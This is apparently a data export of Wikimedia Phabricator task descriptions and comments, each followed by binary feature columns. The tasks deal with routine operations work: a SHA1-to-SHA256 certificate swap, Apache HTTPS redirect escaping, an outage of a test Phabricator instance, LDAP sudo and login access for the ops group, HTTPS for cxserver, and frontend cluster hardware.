+408673,replace dumps.wikimedia.org sha1 cert with sha256 cert,"This changeset (https://gerrit.wikimedia.org/r/#/c/189493/) will, after the old /etc/ssl/localcerts/dumps.wikimedia.org.chained.crt is moved out of the way, force the generation of a new one. Verified on ms1001. However nginx does not start up with the new crt file because the old private key is still being used (where is the new one? I don't see it in the private repo.)   I have put the old crt file back in place for now. ",,,1423496816,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+406410,replace dumps.wikimedia.org sha1 cert with sha256 cert,"so the cert is in the filesystem on ms1001, but isnt serving it.  ive restarted and reloaded nginx, so not sure whats up.  I'll keep hacking at it, but usability isnt gone, just still shows SHA1 cert.",,,1423010731,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+406409,replace dumps.wikimedia.org sha1 cert with sha256 cert,"followed my own advice, and the one http connection that wasnt a crawler or neon just died, so pushing now.",,,1423010259,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0
+406408,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Also, Once this is completed, we need to revoke the SHA1 cert.  So someone can do this via rapidssl, or I'll do so once the other ticket is live.
+
+(Anyone can push this change live when they notice there is no http/https traffic on ms1001.  You can check with the following commands:
+
+netstat | grep http
+netstat | grep https",,,1423010128,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+406407,replace dumps.wikimedia.org sha1 cert with sha256 cert,"So while I see no https traffic on the system, I do see regular http traffic, and reloading apache for the https change will affect those downloads.
+
+When there is no traffic, the following patchset can be merged:
+
+https://gerrit.wikimedia.org/r/#/c/188492/
+
+Then, once it is live on palladium, someone can rm the file /etc/ssl/certs/dumps.wikimedia.org.chained.pem and then run puppet. Once puppet runs, reloading apache should show the new certificate.",,,1423009990,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+88359,Redirects to https need to set NE (no escape) in apache,"%7C in my querystrings are turning in to %257C
+
+```
+$ curl -I ""http://office.wikimedia.org/w/api.php?format=json&action=query&meta=siteinfo&siprop=namespaces%7Cnamespacealiases%7Cmagicwords%7Cfunctionhooks%7Cextensiontags%7Cgeneral%7Cinterwikimap%7Clanguages%7Cprotocols""
+HTTP/1.1 301 Moved Permanently
+Server: Apache
+X-Powered-By: HHVM/3.3.0-static
+Location: https://office.wikimedia.org/w/api.php?format=json&action=query&meta=siteinfo&siprop=namespaces%257Cnamespacealiases%257Cmagicwords%257Cfunctionhooks%257Cextensiontags%257Cgeneral%257Cinterwikimap%257Clanguages%257Cprotocols
+Content-Type: text/html; charset=iso-8859-1
+[...]
+```",High,80.0,1422919080,1423566112.0,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-USER-fdo23otm6ztt674vjqko,False,PHID-TASK-gbhqcayofvg645vv66go,task_description,resolved,True,c3,1,True,False,True,-22,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+409360,Redirects to https need to set NE (no escape) in apache,Thanks @Joe,,,1423591902,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0
+408519,Redirects to https need to set NE (no escape) in apache,Lowered priority since it seems no one is in a hurry to review this :),,,1423471820,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+407080,Redirects to https need to set NE (no escape) in apache,"Patch is up for review here:
+https://gerrit.wikimedia.org/r/188762
+",,,1423125720,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+406065,Redirects to https need to set NE (no escape) in apache,"The line in @BBlack comment should work; I am still thinking of possible security implications of using NE in these rewrites, but there shouldn't be any",,,1422956412,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+405927,Redirects to https need to set NE (no escape) in apache,"I think you mean:
+
+```
+RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L,NE]
+```
+
+Can someone test this somewhere and get back?",,,1422923164,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1
+405896,Redirects to https need to set NE (no escape) in apache,"I guess this needs doing manually?
+
+https://github.com/wikimedia/operations-puppet/blob/production/modules/mediawiki/files/apache/sites/remnant.conf#L262-L263
+
+```
+    RewriteEngine On
+    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L]
+```
+
+to
+
+```
+    RewriteEngine On
+    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,LN,E]
+```
+
+
+```
+reedy@ubuntu64-web-esxi:~/git/operations/puppet/modules/mediawiki/files/apache/sites$ grep ""\!https"" -A 1 *
+main.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+main.conf-    RewriteRule (.) https://donate.wikimedia.org%{REQUEST_URI} [R=301]
+--
+main.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+main.conf-    RewriteRule (.) https://vote.wikimedia.org%{REQUEST_URI} [R=301]
+grep: redirects: Is a directory
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://grants.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://fdc.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://internal.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://board.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://boardgovcom.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://spcom.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://chapcom.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://searchcom.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://chair.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://auditcom.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://quality.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://otrs-wiki.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://exec.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://collab.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://movementroles.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://checkuser.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://steward.wikimedia.org/$1 [R=301,L]
+--
+remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+remnant.conf-    RewriteRule ^/(.*)$ https://ombudsmen.wikimedia.org/$1 [R=301,L]
+--
+wikimania.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+wikimania.conf-    RewriteRule ^/(.*)$ https://wikimaniateam.wikimedia.org/$1 [R=301,L]
+--
+wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+wikimedia.conf-    RewriteRule ^/(.*)$ https://transitionteam.wikimedia.org/$1 [R=301,L]
+--
+wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+wikimedia.conf-    RewriteRule ^/(.*)$ https://iegcom.wikimedia.org/$1 [R=301,L]
+--
+wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+wikimedia.conf-    RewriteRule ^/(.*)$ https://legalteam.wikimedia.org/$1 [R=301,L]
+--
+wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+wikimedia.conf-    RewriteRule ^/(.*)$ https://zero.wikimedia.org/$1 [R=301,L]
+reedy@ubuntu64-web-esxi:~/git/operations/puppet/modules/mediawiki/files/apache/sites$
+```",,,1422919677,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+88272,phab-01 is broken: HTTPFutureCURLResponseStatus,"https://phab-01.wmflabs.org is down.
+
+  HTTPFutureCURLResponseStatus
+  
+  [cURL/7] (http://localhost:9200/phabricator/_status/) <CURLE_COULDNT_CONNECT> The cURL library raised an error while making a request. You
+  may be able to find more information about this error (error code: 7) on the cURL site: 
+  http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLECOULDNTCONNECT",High,80.0,1422870617,1422956522.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wgkev2xmm6dloi5xk2d5,task_description,resolved,True,c3,1,True,False,True,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+406066,phab-01 is broken: HTTPFutureCURLResponseStatus,"It seems to work again (anybody knows who gave it a gentle poke?) but now there's a problem with registration, see T88346",,,1422956522,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wgkev2xmm6dloi5xk2d5,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+87094,Allow everyone in ops group in LDAP to login to all Labs instances,"They can already login to pretty much every host in prod, and can get themselves added to any project. Should just be automatic instead.",High,80.0,1421489673,1651569146.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-sxq4vq7w2n4flssbouxw,task_description,declined,True,c3,1,True,False,False,-24,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+1908961,Allow everyone in ops group in LDAP to login to all Labs instances,"I don't think this makes sense. As you said, in an emergency anyone in the ops group can add themselves to any project (by SSHing to a cloudcontrol box and using the novaadmin credentials stored there). Most people in 'ops' are however not involved in the day-to-day management of the Cloud VPS platform and instead might only regularly use a few projects so being added to them manually like anyone else shouldn't be a huge problem. For those who do might need access to arbitrary instances, we already have a mechanism (root-authorized-keys in labs/private) that is fully independent of LDAP and can be used for this purpose.
+
+Closing this given the little interest in this task over the years. Feel free to re-open if you disagree.
+
+>>! In T87094#2116406, @Krenair wrote:
+> So they have full sudo everywhere, but can't necessarily log in everywhere? We should probably document this at https://wikitech.wikimedia.org/wiki/LDAP_Groups#ops_grants_access_to:
+
+`ou=sudoers,dc=wikimedia,dc=org` isn't actually read by any vps instance... but `profile::wmcs::instance` applies a very similar rule anyways. Not sure if it's worth keeping or should be removed.",,,1651569146,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,356,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1
+628886,Allow everyone in ops group in LDAP to login to all Labs instances,"While poking around in LDAP I found this:
+```krenair@bastion-01:~$ ldapsearch -x ""(&(ou:dn:=sudoers)(cn:dn:=ops))""
+# extended LDIF
+#
+# LDAPv3
+# base <dc=wikimedia,dc=org> (default) with scope subtree
+# filter: (&(ou:dn:=sudoers)(cn:dn:=ops))
+# requesting: ALL
+#
+
+# ops, sudoers, wikimedia.org
+dn: cn=ops,ou=sudoers,dc=wikimedia,dc=org
+objectClass: sudorole
+objectClass: top
+sudoOption: !authenticate
+sudoCommand: ALL
+sudoUser: %ops
+cn: ops
+sudoHost: ALL
+
+# search result
+search: 2
+result: 0 Success
+
+# numResponses: 2
+# numEntries: 1```
+So they have full sudo everywhere, but can't necessarily log in everywhere? We should probably document this at https://wikitech.wikimedia.org/wiki/LDAP_Groups#ops_grants_access_to:",,,1457899257,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,36,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1
+545688,Allow everyone in ops group in LDAP to login to all Labs instances,Cf. also T85910 for a bigger revamp of `access.conf`.,,,1444750729,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1
+545462,Allow everyone in ops group in LDAP to login to all Labs instances,Looks like this would be a change to modules/ldap/templates/access.conf.erb in puppet?,,,1444700846,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+401630,Allow everyone in ops group in LDAP to login to all Labs instances,@andrew thoughts?,,,1421740977,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0
+86847,Support https for cxserver in Production,"On Special:ContentTranslation page,
+
+
+```
+Mixed Content: The page at 'https://es.wikipedia.org/wiki/Especial:ContentTranslation' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://cxserver.wikimedia.org/languagepairs'. This request has been blocked; the content must be served over HTTPS.
+```
+
+ContentTranslation likely to not work without https here.",High,80.0,1421276121,1421339850.0,PHID-USER-abr5ge6gl2ovg7jokpst,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-3m6hckcik6glo6mydwoc,task_description,resolved,True,c3,1,False,False,True,-25,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+400154,Support https for cxserver in Production,"Both patches 
+
+https://gerrit.wikimedia.org/r/185181
+
+and 
+
+https://gerrit.wikimedia.org/r/#/c/185194/
+
+have been merged and 
+
+https://cxserver.wikimedia.org/languagepairs
+
+is working fine in my tests. Resolving this, feel free to reopen",,,1421339850,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+400120,Support https for cxserver in Production,"Change 185181 merged by Alexandros Kosiaris:
+Add HTTPS support to parsoid varnishes
+
+[[https://gerrit.wikimedia.org/r/185181]]",,,1421337030,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+400109,Support https for cxserver in Production,"Change 185181 had a related patch set uploaded (by Alexandros Kosiaris):
+Add HTTPS support to parsoid varnishes
+
+[[https://gerrit.wikimedia.org/r/185181]]
+
+#patch-for-review",,,1421334083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+400025,Support https for cxserver in Production,Example URL to reproduce: https://es.wikipedia.org/wiki/Especial:ContentTranslation (see JS console),,,1421319029,,PHID-USER-abr5ge6gl2ovg7jokpst,False,,,PHID-TASK-3m6hckcik6glo6mydwoc,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+86663,Expand HTTP frontend clusters with new hardware,"We'll soon need:
+- Extra resources, mainly CPU for all of our HTTP frontend (Varnish, nginx) clusters, due to an increased use of HTTPS & IPsec
+- Clusters for codfw
+
+As HTTPS scalability is one of the quarterly goals for FY Q3 2015 and there's a lead time for procurement and site installation (plus an extra delay for esams which needs an upgrade the most, due to not having a dedicated field tech), we'll need to do this procurement very soon.
+
+The current blocker for this is testing of our new target platform (post- T86648 & T81543) as to have more accurate figures for proceeding with procurement. Current agreement on planning suggests:
+- 2nd week of January + 2-3 first weeks of February for limited performance testing
+- Late February/early March for proceeding with procurement in parallel to reinstallation of the current systems
+- Rest of March: setup & install of the new servers",High,80.0,1421160095,1428708056.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_description,resolved,True,c3,1,True,False,True,-25,True,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+442268,Expand HTTP frontend clusters with new hardware,Done!,,,1428708057,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+442267,Expand HTTP frontend clusters with new hardware,"Change 203332 merged by BBlack:
+T86663 5.8: repool cp3010
+
+[[https://gerrit.wikimedia.org/r/203332]]",,,1428707949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442265,Expand HTTP frontend clusters with new hardware,"Change 203331 merged by BBlack:
+T86663 5.8: switch cp3010 role
+
+[[https://gerrit.wikimedia.org/r/203331]]",,,1428707688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442262,Expand HTTP frontend clusters with new hardware,"Change 203330 merged by BBlack:
+T86663 5.8: pool 3049; depool 3010
+
